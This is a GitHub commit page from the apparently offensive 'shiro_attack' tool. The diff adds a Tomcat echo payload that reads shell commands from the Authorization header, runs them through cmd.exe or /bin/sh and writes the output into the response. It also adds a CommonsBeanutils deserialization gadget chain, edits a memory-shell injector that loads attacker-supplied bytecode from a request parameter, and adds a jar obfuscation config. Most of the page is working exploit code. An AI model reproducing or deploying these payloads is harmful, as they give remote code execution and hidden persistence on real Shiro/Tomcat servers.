Skip to content

Commit 9c0c5c6

Browse files
SummerSecSummerSec
committed
dy to user
1 parent 949917d commit 9c0c5c6

17 files changed

+537
-4
lines changed

‎pom.xml

+6-2
Original file line numberDiff line numberDiff line change
@@ -236,7 +236,7 @@
236236
<dependency>
237237
<groupId>org.apache.logging.log4j</groupId>
238238
<artifactId>log4j-api</artifactId>
239-
<version>2.13.3</version>
239+
<version>2.14.1</version>
240240
</dependency>
241241
<dependency>
242242
<groupId>com.arronlong</groupId>
@@ -300,7 +300,11 @@
300300
<artifactId>hutool-all</artifactId>
301301
<version>5.7.13</version>
302302
</dependency>
303-
303+
<dependency>
304+
<groupId>javassist</groupId>
305+
<artifactId>javassist</artifactId>
306+
<version>3.12.0.GA</version>
307+
</dependency>
304308

305309
</dependencies>
306310

‎src/main/java/com/summersec/attack/deser/echo/TomcatEcho.java

+1
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,7 @@ public CtClass genPayload(final ClassPool pool) throws CannotCompileException, N
7777
" if (var3 != null && !var3.isEmpty()) {\n" +
7878
" var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n" +
7979
" var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"Host\"), var3});\n" +
80+
// " var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"Setcoolie\"), var3});\n" +
8081
" var4 = true;\n" +
8182
" }\n" +
8283
"\n" +

‎src/main/java/com/summersec/attack/deser/echo/TomcatEcho2.java

+128
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
package com.summersec.attack.deser.echo;
2+
3+
import javassist.*;
4+
5+
import java.io.IOException;
6+
7+
/**
8+
* @ClassName: TomcatEcho2
9+
* @Description: TODO
10+
* @Author: Summer
11+
* @Date: 2022/1/19 11:33
12+
* @Version: v1.0.0
13+
* @Description:
14+
**/
15+
public class TomcatEcho2 implements EchoPayload{
16+
@Override
17+
public CtClass genPayload(final ClassPool pool) throws CannotCompileException, NotFoundException, IOException {
18+
final CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
19+
if (clazz.getDeclaredConstructors().length != 0) {
20+
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
21+
}
22+
23+
24+
25+
clazz.addMethod(CtMethod.make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n" +
26+
" byte[] bs = (\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \"$$$\").getBytes();\n" +
27+
" Object var2;\n" +
28+
" Class var3;\n" +
29+
" try {\n" +
30+
" var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
31+
" var2 = var3.newInstance();\n" +
32+
" var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
33+
" var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n" +
34+
" } catch (Exception var5) {\n" +
35+
" var3 = Class.forName(\"java.nio.ByteBuffer\");\n" +
36+
" var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n" +
37+
" var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n" +
38+
" } \n" +
39+
" }",clazz));
40+
41+
clazz.addMethod(CtMethod.make(" private static Object getFV(Object var0, String var1) throws Exception {\n" +
42+
" java.lang.reflect.Field var2 = null;\n" +
43+
" Class var3 = var0.getClass();\n" +
44+
"\n" +
45+
" while(var3 != Object.class) {\n" +
46+
" try {\n" +
47+
" var2 = var3.getDeclaredField(var1);\n" +
48+
" break;\n" +
49+
" } catch (NoSuchFieldException var5) {\n" +
50+
" var3 = var3.getSuperclass();\n" +
51+
" }\n" +
52+
" }\n" +
53+
"\n" +
54+
" if (var2 == null) {\n" +
55+
" throw new NoSuchFieldException(var1);\n" +
56+
" } else {\n" +
57+
" var2.setAccessible(true);\n" +
58+
" return var2.get(var0);\n" +
59+
" }\n" +
60+
" }", clazz));
61+
clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +
62+
" boolean var4 = false;\n" +
63+
" Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
64+
" for (int var6 = 0; var6 < var5.length; ++var6) {\n" +
65+
" Thread var7 = var5[var6];\n" +
66+
" if (var7 != null) {\n" +
67+
" String var3 = var7.getName();\n" +
68+
" if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n" +
69+
" Object var1 = getFV(var7, \"target\");\n" +
70+
" if (var1 instanceof Runnable) {\n" +
71+
" try {\n" +
72+
" var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n" +
73+
" } catch (Exception var13) {\n" +
74+
" continue;\n" +
75+
" }\n" +
76+
" java.util.List var9 = (java.util.List) getFV(var1, \"processors\");\n" +
77+
"\n" +
78+
" for(int var10 = 0; var10 < var9.size(); ++var10) {\n" +
79+
" Object var11 = var9.get(var10);\n" +
80+
" var1 = getFV(var11, \"req\");\n" +
81+
" Object var2 = var1.getClass().getMethod(\"getResponse\",new Class[0]).invoke(var1, new Object[0]);\n" +
82+
" try {\n" +
83+
"\n" +
84+
"\n" +
85+
" var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Host\")});\n" +
86+
" if (var3 != null && !var3.isEmpty()) {\n" +
87+
" var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n" +
88+
" var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"Host\"), var3});\n" +
89+
" var4 = true;\n" +
90+
" }\n" +
91+
"\n" +
92+
" var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Authorization\")});\n" +
93+
" if (var3 != null && !var3.isEmpty()) {\n" +
94+
" var3 = org.apache.shiro.codec.Base64.decodeToString(var3.replaceAll(\"Basic \", \"\"));\n" +
95+
" String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n" +
96+
" writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n" +
97+
" var4 = true;\n" +
98+
" }\n" +
99+
"\n" +
100+
" if (var4) {\n" +
101+
" break;\n" +
102+
" }\n" +
103+
" }catch (Exception var14) {\n" +
104+
" writeBody(var2, var14.getMessage().getBytes());\n" +
105+
" }\n" +
106+
" }\n" +
107+
"\n" +
108+
" if (var4) {\n" +
109+
" break;\n" +
110+
" }\n" +
111+
" }\n" +
112+
" }\n" +
113+
" }\n" +
114+
" }\n" +
115+
" }",clazz));
116+
117+
return clazz;
118+
}
119+
120+
121+
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
122+
ClassPool pool = ClassPool.getDefault();
123+
// TomcatEcho2 tomcatEcho2 = new TomcatEcho2();
124+
SpringEcho springEcho = new SpringEcho();
125+
springEcho.genPayload(pool);
126+
// tomcatEcho2.genPayload(pool);
127+
}
128+
}

‎src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsString_192s.java

+57
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package com.summersec.attack.deser.payloads;
2+
3+
import com.summersec.attack.deser.payloads.annotation.Authors;
4+
import com.summersec.attack.deser.payloads.annotation.Dependencies;
5+
import com.summersec.attack.deser.util.JavassistClassLoader;
6+
import com.summersec.attack.deser.util.Reflections;
7+
import java.util.Comparator;
8+
import java.util.PriorityQueue;
9+
import java.util.Queue;
10+
11+
import com.summersec.attack.deser.util.StandardExecutorClassLoader;
12+
import javassist.ClassClassPath;
13+
import javassist.ClassPool;
14+
import javassist.CtClass;
15+
import javassist.CtField;
16+
17+
18+
@Dependencies({"commons-beanutils:commons-beanutils:1.6.1"})
19+
@Authors({"phith0n"})
20+
public class CommonsBeanutilsString_192s implements ObjectPayload<Queue<Object>> {
21+
@Override
22+
public Queue<Object> getObject(Object template) throws Exception {
23+
24+
ClassPool pool = ClassPool.getDefault();
25+
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
26+
final CtClass beanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
27+
28+
try {
29+
CtField ctSUID = beanComparator.getDeclaredField("serialVersionUID");
30+
beanComparator.removeField(ctSUID);
31+
}catch (javassist.NotFoundException e){}
32+
beanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", beanComparator));
33+
// mock method name until armed
34+
final Comparator comparator = (Comparator)beanComparator.toClass(new JavassistClassLoader()).newInstance();
35+
beanComparator.defrost();
36+
37+
PriorityQueue<String> queue = new PriorityQueue(2, (Comparator<?>)comparator);
38+
39+
queue.add("1");
40+
queue.add("1");
41+
42+
Reflections.setFieldValue(queue, "queue", new Object[] { template, template });
43+
44+
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
45+
46+
return (Queue)queue;
47+
}
48+
49+
public static void main(String[] args) throws Exception {
50+
CommonsBeanutilsString_192s commonsBeanutilsString192 = new CommonsBeanutilsString_192s();
51+
commonsBeanutilsString192.getObject(new Object());
52+
53+
}
54+
}
55+
56+
57+

‎src/main/java/com/summersec/attack/deser/plugins/InjectMemTool.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ public CtClass genPayload(ClassPool pool) throws Exception {
1717
}
1818
clazz.addMethod(CtMethod.make(" private static Object getFV(Object o, String s) throws Exception {\n java.lang.reflect.Field f = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n f = clazz.getDeclaredField(s);\n break;\n } catch (NoSuchFieldException e) {\n clazz = clazz.getSuperclass();\n }\n }\n if (f == null) {\n throw new NoSuchFieldException(s);\n }\n f.setAccessible(true);\n return f.get(o);\n}", clazz));
1919

20-
clazz.addConstructor(CtNewConstructor.make(" public InjectMemTool() {\n try {\n Object o;\n String s;\n String dy = null;\n Object resp;\n boolean done = false;\n Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n for (int i = 0; i < ts.length; i++) {\n Thread t = ts[i];\n if (t == null) {\n continue;\n }\n s = t.getName();\n if (!s.contains(\"exec\") && s.contains(\"http\")) {\n o = getFV(t, \"target\");\n if (!(o instanceof Runnable)) {\n continue;\n }\n\n try {\n o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception e) {\n continue;\n }\n\n java.util.List ps = (java.util.List) getFV(o, \"processors\");\n for (int j = 0; j < ps.size(); j++) {\n Object p = ps.get(j);\n o = getFV(p, \"req\");\n resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n\n Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});\n\n dy = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"dy\")});\n\n if (dy != null && !dy.isEmpty()) {\n byte[] bytecodes = org.apache.shiro.codec.Base64.decode(dy);\n\n java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n defineClassMethod.setAccessible(true);\n\n Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n\n cc.newInstance().equals(conreq);\n done = true;\n }\n if (done) {\n break;\n }\n }\n }\n }\n } catch (Exception e) {\n ;\n }\n}", clazz));
20+
clazz.addConstructor(CtNewConstructor.make(" public InjectMemTool() {\n try {\n Object o;\n String s;\n String user = null;\n Object resp;\n boolean done = false;\n Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n for (int i = 0; i < ts.length; i++) {\n Thread t = ts[i];\n if (t == null) {\n continue;\n }\n s = t.getName();\n if (!s.contains(\"exec\") && s.contains(\"http\")) {\n o = getFV(t, \"target\");\n if (!(o instanceof Runnable)) {\n continue;\n }\n\n try {\n o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception e) {\n continue;\n }\n\n java.util.List ps = (java.util.List) getFV(o, \"processors\");\n for (int j = 0; j < ps.size(); j++) {\n Object p = ps.get(j);\n o = getFV(p, \"req\");\n resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n\n Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});\n\n user = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"user\")});\n\n if (user != null && !user.isEmpty()) {\n byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);\n\n java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n defineClassMethod.setAccessible(true);\n\n Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n\n cc.newInstance().equals(conreq);\n done = true;\n }\n if (done) {\n break;\n }\n }\n }\n }\n } catch (Exception e) {\n ;\n }\n}", clazz));
2121

2222
return clazz;
2323
}

‎src/main/java/com/summersec/attack/deser/util/JavassistClassLoader.java

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package com.summersec.attack.deser.util;
2+
3+
/**
4+
* @ClassName: JavassistClassLoader
5+
* @Description: TODO
6+
* @Author: Summer
7+
* @Date: 2022/1/24 16:34
8+
* @Version: v1.0.0
9+
* @Description:
10+
**/
11+
public class JavassistClassLoader extends ClassLoader {
12+
public JavassistClassLoader(){
13+
super(Thread.currentThread().getContextClassLoader());
14+
}
15+
}

‎src/main/java/com/summersec/attack/deser/util/StandardExecutorClassLoader.java

+2-1
Original file line numberDiff line numberDiff line change
@@ -39,10 +39,11 @@ private void loadResource(String version) {
3939
// 加载对应版本目录下的 Jar 包
4040
tryLoadJarInDir(jarPath);
4141
// 加载对应版本目录下的 lib 目录下的 Jar 包
42-
tryLoadJarInDir(jarPath + File.separator + "lib");
42+
// tryLoadJarInDir(jarPath + File.separator + "lib");
4343
}
4444

4545
private void tryLoadJarInDir(String dirPath) {
46+
System.out.println("Try load jar in dir: " + dirPath);
4647
File dir = new File(dirPath);
4748
// 自动加载目录下的jar包
4849
if (dir.exists() && dir.isDirectory()) {

‎src/main/resources/allatori.xml

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
<!--allatori配置文件-->
2+
<config>
3+
<!-- <!\-\- 输入和输出jar配置，out指向的是加密后的jar &ndash;&gt;-->
4+
<input>
5+
<!-- <jar in="shiro_attack-4.3-SNAPSHOT.jar" out="obf-shiro_attack-4.3-SNAPSHOT.jar"/>-->
6+
<jar in="shiro_attack-4.4-SNAPSHOT-all.jar" out="obf-shiro_attack-4.4-SNAPSHOT-all.jar"/>
7+
</input>
8+
<!-- <!\-\- 加水印 &ndash;&gt;-->
9+
<watermark key="shiro_attack" value="developer: SummerSec"/>
10+
<!-- <!\-\- 需要保留原来类名的配置 &ndash;&gt;-->
11+
<keep-names>
12+
<class access="protected+">
13+
<field access="protected+"/>
14+
<method access="protected+"/>
15+
</class>
16+
<class template="class com.xxx.xxx.*"/>
17+
18+
</keep-names>
19+
20+
<property name="log-file" value="log.xml"/>
21+
<ignore-classes>
22+
<class template="class \*springframework\*"/>
23+
<class template="class \*shardingjdbc\*"/>
24+
<class template="class \*jni\*"/>
25+
<class template="class \*alibaba\*"/>
26+
<class template="class \*persistence\*"/>
27+
<class template="class \*apache\*"/>
28+
<class template="class \*mybatis\*"/>
29+
<!-- <!\-\- 排除包下的类，可单个到具体,注意此处一定要排除掉springboot项目的启动类 &ndash;&gt;-->
30+
<class template="class com.apache.*"/>
31+
<class template="class org.apache.http.entity.StringEntity"/>
32+
<class template="class org.apache.cxf.*"/>
33+
</ignore-classes>
34+
</config>

0 commit comments

Comments
 (0)